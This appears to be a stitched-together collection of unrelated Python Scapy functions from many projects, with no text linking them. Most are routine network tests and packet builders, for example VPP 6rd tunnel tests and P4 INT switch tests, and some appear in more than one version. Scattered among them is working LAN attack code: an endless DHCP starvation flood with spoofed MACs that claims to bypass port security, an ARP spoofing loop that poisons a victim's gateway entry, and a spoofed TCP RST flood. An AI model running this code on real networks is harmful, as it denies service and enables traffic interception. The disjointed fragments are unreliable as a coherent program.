def main(): iface = get_if() pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.5.5", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "1111111111111111111111111111111111111111111111111111111111111111" \ "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152, 65535)) / "2222" s = int(sys.argv[1]) t = 967 * 8 / (s * 1000) pkt.show2() try: for i in range(500): sendp(pkt, iface=iface) sleep(t) except KeyboardInterrupt: raise
def test_6rd_ip4_to_ip6_sec_check(self): """ ip4 -> ip6 (decap) security check 6rd test """ rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p_ip6_fail = (IPv6(src="2002:DEAD:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def test_6rd_ip4_to_ip6_sec_check(self): """ip4 -> ip6 (decap) security check 6rd test""" rv = self.vapi.ipip_6rd_add_tunnel( ip6_table_id=0, ip4_table_id=0, ip6_prefix="2002::/16", ip4_prefix="0.0.0.0/0", ip4_src=self.pg0.local_ip4, security_check=True, ) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_ip6 = IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP( sport=1234, dport=1234) p_ip6_fail = IPv6(src="2002:DEAD:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def main(): iface = get_if() pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \ "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP( dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP( dport=1234, sport=random.randint(49152, 65535)) / "2222" #t=float(sys.argv[1]) list_delta = [0.05, 0.058, 0.065, 0.074, 0.087, 0.1, 0.13] pkt.show2() try: for l in list_delta: sendp(pkt2) for i in range(500): sendp(pkt, iface=iface) sleep(l) sleep(10) sendp(pkt2) except KeyboardInterrupt: raise
def main(): """ Main function """ x = Ether() / IP(dst="www.secdev.org") / TCP() print(x.summary()) print(x.show()) data = 'test_MACsec' pkt = Ether(dst="00:00:01:00:00:01", src="00:10:94:00:00:02") / MACsec() / data sendp(pkt, iface="en0", count=400) print(pkt.summary()) print(pkt.show()) sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request') / \ "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) print(m.type == ETH_P_MACSEC) print(m[MACsec].type == ETH_P_IP) print(len(m) == len(p) + 16) print(m[MACsec].an == 0) print(m[MACsec].pn == 100) print(m[MACsec].shortlen == 0) print(m[MACsec].SC) print(m[MACsec].E) print(m[MACsec].C) print(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') print(p.show())
def vlan_send_packet(self, outer_vid, outer_tpid=0x8100, inner_vid=-1, inner_tpid=-1): """ if vid is -1, it means send pakcage not include vlan id. """ self.tpid_ori_file = "/tmp/tpid_ori.pcap" self.tpid_new_file = "/tmp/tpid_new.pcap" self.tester.send_expect("rm -rf /tmp/tpid_ori.pcap", "# ") self.tester.send_expect("rm -rf /tmp/tpid_new.pcap", "# ") # The package stream : testTxPort->dutRxPort->dutTxport->testRxPort port = self.tester.get_local_port(dutRxPortId) self.txItf = self.tester.get_interface(port) self.smac = self.tester.get_mac(port) port = self.tester.get_local_port(dutTxPortId) self.rxItf = self.tester.get_interface(port) # the package dect mac must is dut tx port id when the port promisc is # off self.dmac = self.dut.get_mac_address(dutRxPortId) self.inst = sniff_packets(self.rxItf) pkt = [] if outer_vid < 0 or outer_tpid <= 0: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / IP(len=46) ] wrpcap(self.tpid_new_file, pkt) else: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / Dot1Q(vlan=1) / Dot1Q(vlan=2) / IP(len=46) ] wrpcap(self.tpid_ori_file, pkt) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s'" % (fmt, self.tpid_ori_file), "# ") if (inner_vid < 0 or inner_tpid <= 0): replace = str("%04x" % outer_tpid) + str("%04x" % outer_vid) else: replace = str("%04x" % outer_tpid) + str( "%04x" % outer_vid) + str("%04x" % inner_tpid) + str( "%04x" % inner_vid) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s' |sed 's/8100000181000002/%s/' |xxd -r -p > '%s'" % (fmt, self.tpid_ori_file, replace, self.tpid_new_file), "# ") self.tester.send_expect("scapy", ">>> ") self.tester.send_expect("pkt=rdpcap('%s')" % self.tpid_new_file, ">>> ") self.tester.send_expect("sendp(pkt, iface='%s')" % self.txItf, ">>> ") self.tester.send_expect("quit()", "# ")
def runTest(self): self.setup_int() dport = 5060 # int_type=hop-by-hop int_shim = INT_L45_HEAD(int_type=1, length=4) # ins_cnt: 5 = switch id + ports + q occupancy + ig port + eg port) # max_hop_count: 3 # total_hop_count: 0 # instruction_mask_0003: 0xd = switch id (0), ports (1), q occupancy (3) # instruction_mask_0407: 0xc = ig timestamp (4), eg timestamp (5) int_header = "\x00\x05\x03\x00\xdc\x00\x00\x00" # IP proto (UDP), UDP dport (4096) int_tail = INT_L45_TAIL(next_proto=17, proto_param=dport) payload = "\xab" * 128 inner_udp = UDP(sport=5061, dport=dport, chksum=0) # IP tos is 0x04 to enable INT pkt = Ether(src=self.DMAC_2, dst=self.SWITCH_MAC_2) / \ IP(tos=0x04, src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4) / \ inner_udp / \ int_shim / int_header / int_tail / \ payload exp_int_shim = INT_L45_HEAD(int_type=1, length=9) # total_hop_count: 1 exp_int_header = "\x00\x05\x03\x01\xdc\x00\x00\x00" # switch id: 1 exp_int_metadata = "\x00\x00\x00\x01" # ig port: port2, eg port: port2 exp_int_metadata += stringify(self.port2, 2) + stringify(self.port1, 2) # q id: 0, q occupancy: ? exp_int_metadata += "\x00\x00\x00\x00" # ig timestamp: ? # eg timestamp: ? exp_int_metadata += "\x00\x00\x00\x00" * 2 exp_int = exp_int_shim / exp_int_header / exp_int_metadata / int_tail exp_pkt = Ether(src=self.SWITCH_MAC_1, dst=self.DMAC_1) / \ MPLS(label=self.mpls_label, cos=0, s=1, ttl=64) / \ IP(tos=0, id=0x1513, flags=0, frag=0, src=self.S1U_SGW_IPV4, dst=self.S1U_ENB_IPV4) / \ UDP(sport=2152, dport=2152, chksum=0) / \ make_gtp(20 + len(inner_udp) + len(exp_int) + len(payload), 1) / \ IP(tos=0x04, src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4, ttl=64) / \ inner_udp / \ exp_int / \ payload # We mask off the timestamps as well as the queue occupancy exp_pkt = Mask(exp_pkt) offset_metadata = 14 + 4 + 20 + 8 + 8 + 20 + 8 + 4 + 8 exp_pkt.set_do_not_care((offset_metadata + 9) * 8, 11 * 8) testutils.send_packet(self, self.port2, str(pkt)) testutils.verify_packet(self, exp_pkt, self.port1)
def test_6rd_bgp_tunnel(self): """ 6rd BGP tunnel """ rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=0, ip4_table_id=0, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg0.local_ip4, security_check=False) self.tunnel_index = rv.sw_if_index default_route = VppIpRoute( self, "DEAD::", 16, [ VppRoutePath("2002:0808:0808::", self.tunnel_index, proto=DpoProto.DPO_PROTO_IP6) ], is_ip6=1) default_route.add_vpp_config() ip4_route = VppIpRoute(self, "8.0.0.0", 8, [VppRoutePath(self.pg1.remote_ip4, 0xFFFFFFFF)]) ip4_route.add_vpp_config() # Via recursive route 6 -> 4 p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IPv6(src="1::1", dst="DEAD:BEEF::1") / UDP(sport=1234, dport=1234)) p_reply = (IP(src=self.pg0.local_ip4, dst="8.8.8.8", proto='ipv6') / IPv6(src='1::1', dst='DEAD:BEEF::1', nh='UDP')) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_6in4(p, p_reply) # Via recursive route 4 -> 6 (Security check must be disabled) p_ip6 = (IPv6(src="DEAD:BEEF::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src="8.8.8.8", dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) ip4_route.remove_vpp_config() default_route.remove_vpp_config() self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def runTest(self): inner_udp = UDP(sport=5060, dport=5061) / ("\xab" * 128) pkt = Ether(src=self.DMAC_1, dst=self.SWITCH_MAC_1) / \ IP(src=self.S1U_ENB_IPV4, dst=self.S1U_SGW_IPV4) / \ UDP(sport=2152, dport=2152) / \ make_gtp(20 + len(inner_udp), 0xeeffc0f0) / \ IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4) / \ inner_udp exp_pkt = Ether(src=self.SWITCH_MAC_2, dst=self.DMAC_2) / \ IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4, ttl=63) / \ inner_udp testutils.send_packet(self, self.port1, str(pkt)) testutils.verify_packet(self, exp_pkt, self.port2)
def runTest(self): inner_udp = UDP(sport=5061, dport=5060) / ("\xab" * 128) pkt = Ether(src=self.DMAC_2, dst=self.SWITCH_MAC_2) / \ IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4) / \ inner_udp exp_pkt = Ether(src=self.SWITCH_MAC_1, dst=self.DMAC_1) / \ IP(tos=0, id=0x1513, flags=0, frag=0, src=self.S1U_SGW_IPV4, dst=self.S1U_ENB_IPV4) / \ UDP(sport=2152, dport=2152, chksum=0) / \ make_gtp(20 + len(inner_udp), 1) / \ IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4, ttl=63) / \ inner_udp testutils.send_packet(self, self.port2, str(pkt)) testutils.verify_packet(self, exp_pkt, self.port1)
def packet_analyzer(self, packet): # Check for DHCP packet if DHCP in packet: # Check for Offer message if packet[DHCP].options[0][1] == 2: server_ip = packet[IP].src client_mac = packet[BOOTP].chaddr offered_ip = packet[BOOTP].yiaddr transaction_id = packet[BOOTP].xid # Create request packet, specifying source mac to bypass port security request_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff") request_packet /= IP(src="0.0.0.0", dst="255.255.255.255") request_packet /= UDP(sport=68, dport=67) request_packet /= BOOTP(chaddr=client_mac, xid=transaction_id) request_packet /= DHCP(options=[("message-type", "request"), ("server_id", server_ip), ("requested_addr", offered_ip), "end"]) sendp(request_packet, iface=interface, verbose=0) # Check for ACK message elif packet[DHCP].options[0][1] == 5: client_mac = packet[BOOTP].chaddr leased_ip = packet[BOOTP].yiaddr leased_ip_list.append(leased_ip) print leased_ip + " has been leased to " + client_mac + ". Total IPs leased: " + str(len(leased_ip_list)) # Check for NAK message elif packet[DHCP].options[0][1] == 6: print " NAK Received"
def test_6rd_ip4_to_ip6_vrf(self): """ ip4 -> ip6 (decap) 6rd VRF test """ rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20, ip4_table_id=10, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg2.local_ip4, security_check=True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20, ip4_table_id=10, ip6_prefix='2002::/16', ip4_prefix='0.0.0.0/0', ip4_src=self.pg2.local_ip4, security_check=True) self.tunnel_index = rv.sw_if_index self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20) p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) / IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg2, p * 10, self.pg3) for p in rx: self.validate_4in6(p, p_reply) self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def callback(data): #print data.summary() ip = IP(src="10.0.0.13", dst="10.0.0.11") pkt = Ether() / ip / UDP(sport=1234, dport=5000) / Raw(load="CIAO") #print pkt.summary() sleep(0.1) sendp(pkt, realtime=True)
def generate_udp_packet(ip_src: str = "192.168.64.32", ip_dst: str = "192.168.64.48", mac_src: str = "56:6D:D9:BC:70:1C", ttl: int = 64, mac_dst: str = "F4:2B:95:B3:0E:1A", port_src: int = 1337, port_dst: int = 6442, payload: str = ""): """ Builds an UDP packet with the values specified by the caller. :param ip_src: the source IP address of the IP header :param ip_dst the destination IP address of the IP header :param mac_src: the source MAC address of the MAC header :param ttl: the ttl value of the packet :param mac_dst: the destination MAC address of the MAC header :param port_src: the source port of the UDP header :param port_dst: the destination port of the UDP header :param payload: the payload of the packet :return: the corresponding UDP packet """ ether = Ether(src=mac_src, dst=mac_dst) ip = IP(src=ip_src, dst=ip_dst, ttl=ttl) udp = UDP(sport=port_src, dport=port_dst) packet = ether / ip / udp / Raw(load=payload) return packet
def create_tcp_ipv4_frame( self, ip_id, src_ip_addr, dst_ip_addr, frame_size, src_mac_addr='00:00:0A:00:0B:00', dst_mac_addr='00:00:0A:00:0A:00'): payload_size = frame_size - HEADER_SIZE['eth'] - HEADER_SIZE['ip'] -\ HEADER_SIZE['tcp'] - \ len(TestIPPipeline.payload_watermark) if payload_size < 0: payload_size = 0 frame = Ether() / IP() / TCP(flags="") / (TestIPPipeline.payload_watermark + "X" * payload_size) frame[Ether].src = src_mac_addr frame[Ether].dst = dst_mac_addr frame[IP].src = src_ip_addr frame[IP].dst = dst_ip_addr frame[IP].id = ip_id # TCP ports always 0 frame[TCP].sport = 0 frame[TCP].dport = 0 return frame
def create_packet(self, data, content_id, et_src, ip_proto=DATA_PROTO): #print('begin creating packet, et_src:'+str(et_src)+', ip_src: '+str(ip_src)) ether = Ether(src=et_src) #, dst=et_dst) ip = IP(src=content_id, dst='127.0.0.1', proto=ip_proto, ttl=0, tos=0) packet = ether / ip / data #packet.show() return packet
def send_register_packet(self, content_name, src_ip): ether = Ether(src=self.CACHE_IN_ETH, dst=self.CONTROLLER_ETH) ip = IP(src=content_name, dst=src_ip, proto=self.REG_PROTO) data = "register" packet = ether / ip / data #packet.show() sendp(packet)
def test_6rd_ip4_to_ip6_vrf(self): """ ip4 -> ip6 (decap) 6rd VRF test """ rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6, '2002::'), 16, 10, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg2.local_ip4n, True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6, '2002::'), 16, 10, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg2.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20) p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) / IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg2, p * 10, self.pg3) for p in rx: self.validate_4in6(p, p_reply) self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def callback(data): ip = data[IP] ip.dst = "10.0.0.11" # Send to B del ip.chksum pkt = Ether() / IP(dst="10.0.0.11") / UDP() #pkt.show() sendp(pkt, realtime=True)
def send_discover2(self): print "" print "Starting Endless Starvation, Press e to exit" print "" packet_number = 0 while True: for i in range(255): if keyboard.is_pressed('e'): print "\nEndless Starvation Ended." + str(packet_number) + " Discover Packets sent" print "Close terminal to exit properly" sys.exit() # Generate transaction id transaction_id = random.randint(1, 900000000) # Generate fake CHADDR spoofed_chaddr = str(RandMAC()) while spoofed_chaddr in spoofed_chaddr_list: print "Duplicate SPOOF CHADDR detected, generating a new one" spoofed_chaddr = str(RandMAC()) spoofed_chaddr_list.append(spoofed_chaddr) # Create discover packet, specifying source mac to bypass port security discover_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff") discover_packet /= IP(src="0.0.0.0", dst="255.255.255.255") discover_packet /= UDP(sport=68, dport=67) discover_packet /= BOOTP(chaddr=spoofed_chaddr, xid=transaction_id) discover_packet /= DHCP(options=[("message-type", "discover"), "end"]) sendp(discover_packet, iface=interface, verbose=0) packet_number += 1 sleep(0.01)
def get_mac(ip_1): print("[\033[32m+\033[00m] Getting mac address") arping = Ether(dst = ETHER_BROADCAST) / ARP(pdst = ip_1) os.write(1, "[\033[32m+\033[00m] ") rep, norep = srp(arping, timeout = 2) for snd, rcv in rep: return rcv.sprintf(r"%Ether.src%")
def make_dhcp_request(self, my_ip_address, server_id, xid): """ Creates a DHCPREQUEST packet using scapy Parameters --------- my_ip_address : str the IP address assigned by the DHCP Server server_id : str the DHCP Server Identification xid : str the DHCP Transaction id Returns ------- Packet A scapy DHCPREQUEST Packet """ ethernet = Ether(src=self.mac_address, dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0", dst="255.255.255.255") udp = UDP(sport=68, dport=67) bootp = BOOTP(chaddr=self.mac_address_raw, xid=xid) dhcp = DHCP(options=[("message-type", "request"), ("server_id", server_id), ("requested_addr", my_ip_address), ("hostname", self.hostname), "end"]) dhcp_request = ethernet / ip / udp / bootp / dhcp return dhcp_request
def test_6rd_ip4_to_ip6(self): """ ip4 -> ip6 (decap) 6rd test """ rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6) p_reply = p_ip6 rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_reply) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def make_arp_request(self, ip_src, ip_dst): """ Creates an ARP REQUEST packet Parameters ---------- ip_src : str source IP address of the ARP REQUEST ip_dst : str destination IP address of the ARP REQUEST Returns ------- Packet A scapy ARP REQUEST Packet """ ether = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.mac_address) arp = ARP(op=1, hwsrc=self.mac_address, psrc=ip_src, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_dst) pkt = ether / arp return pkt
def test_6rd_ip4_to_ip6_multiple(self): """ ip4 -> ip6 (decap) 6rd test """ self.tunnel_index = [] rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index.append(rv.sw_if_index) rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2003::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg1.local_ip4n, True) self.tunnel_index.append(rv.sw_if_index) self.vapi.cli("show ip6 fib") p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) p_ip4 = IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) p_ip6_1 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p_ip6_2 = (IPv6(src="2003:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(sport=1234, dport=1234)) p = (p_ether / p_ip4 / p_ip6_1) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_ip6_1) p = (p_ether / p_ip4 / p_ip6_2) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_4in6(p, p_ip6_2) for i in self.tunnel_index: self.vapi.ipip_6rd_del_tunnel(i)
def arp_spoof(): print("Arp spoofing unidirezionale avviato") while 1: sendp(Ether(dst=victim_mac, src=my_mac) / ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac), verbose=0) time.sleep(1)
def test_6rd_ip6_to_ip4(self): """ ip6 -> ip4 (encap) 6rd test """ p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1", nh='UDP') rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6, '2002::'), 16, 0, inet_pton(AF_INET, '0.0.0.0'), 0, self.pg0.local_ip4n, True) self.tunnel_index = rv.sw_if_index self.vapi.cli("show ip6 fib") p_payload = UDP(sport=1234, dport=1234) p = (p_ether / p_ip6 / p_payload) p_reply = ( IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') / p_ip6) rx = self.send_and_expect(self.pg0, p * 10, self.pg1) for p in rx: self.validate_6in4(p, p_reply) # MTU tests (default is 1480) plen = 1481 - 40 - 8 p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1") p_payload = UDP(sport=1234, dport=1234) / Raw(self.payload(plen)) p = (p_ether / p_ip6 / p_payload) p_reply = ( IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') / p_ip6) rx = self.send_and_assert_no_replies(self.pg0, p * 10) self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def sono_h(): #print("entro") t = threading.currentThread() while getattr(t, "do_run", True): #print("arpizzo h") sendp(Ether(dst=gateway_mac,src=victim_mac)/IP(src=str(RandIP()),dst=str(RandIP()))/TCP(sport=2321,dport=23423,flags='R',options=[('Timestamp',(0,0))]),verbose=0 ) time.sleep(0.1)
def snort_pkt_values(pkt): """ """ res = {} eth = Ether(pkt.encode('latin1')[0:300]) if hasattr(eth, 'src') and hasattr(eth, 'dst'): res['sourceMacAddress'] = eth.src res['destinationMacAddress'] = eth.dst if 'IP' in eth: ip = eth.payload res['sourceIPv4Address'] = ip.src res['destinationIPv4Address'] = ip.dst if 'TCP' in ip: tcp = ip.payload res['protocolIdentifier'] = "tcp" res['sourceTransportPort'] = tcp.sport res['destinationTransportPort'] = tcp.dport elif 'UDP' in ip: udp = ip.payload res['protocolIdentifier'] = "udp" res['sourceTransportPort'] = udp.sport res['destinationTransportPort'] = udp.dport elif 'ICMP' in ip: icmp = ip.payload res['protocolIdentifier'] = "icmp" res['sourceTransportPort'] = icmp.type res['destinationTransportPort'] = icmp.code return res
def send_packet(et_src, et_dst, content_name, chunk_num, ip_src, ip_proto=150, mpls_ttl=10): ether = Ether(src=et_src, dst=et_dst) label = hashlib.sha256() label.update(content_name.encode()) name_bytes = label.digest() mpls_label = name_bytes[0]*4096 + name_bytes[1]*16 + (name_bytes[2]>>4)#first 20 bits mpls = MPLS(label=mpls_label, ttl=mpls_ttl) # name = ndn.Name(ndn.Name.Component(content_name)) # name.appendSegment(chunk_num) # interest = ndn.Interest(name) # interest.setInterestLifetimeMilliseconds(INTEREST_LIFETIME) # data=interest.wireEncode().buf().tobytes() #creating Interest packet data=encode_in_2bytes(content_name) data = data + encode_in_2bytes(str(chunk_num)) ip = IP(src=ip_src, proto=ip_proto) packet = ether / mpls / ip / data.decode() packet.show() sendp(packet)